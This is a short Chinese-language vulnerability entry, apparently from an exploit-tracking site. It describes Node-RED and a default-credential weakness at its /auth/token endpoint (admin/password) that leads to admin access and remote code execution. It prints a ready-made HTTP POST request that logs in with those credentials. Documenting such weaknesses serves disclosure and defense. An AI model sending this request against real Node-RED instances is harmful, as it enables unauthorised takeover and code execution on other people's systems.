Node-RED 是一款基于浏览器的开源流程编辑工具，专为连接硬件设备、API 和在线服务设计。该产品采用事件驱动架构，提供可视化节点编程界面，支持通过拖拽方式创建数据处理流、集成物联网设备、调用 REST API、处理消息队列等核心功能。Node-RED 基于 Node.js 构建，提供轻量级的运行时环境和丰富的扩展节点库，广泛应用于物联网自动化、智能家居控制、工业数据采集、API 集成和实时数据处理等场景。Node-RED 的 /auth/token 接口存在默认口令漏洞，系统使用了预设的默认管理员凭证（用户名 admin，密码 password），攻击者可直接使用这些凭据登录系统，获取管理权限，并可通过节点功能实现远程代码执行。
POST /auth/token HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Length: 85
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept-Encoding: gzip
Connection: close
client_id=node-red-editor&grant_type=password&scope=&username=admin&password=password
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.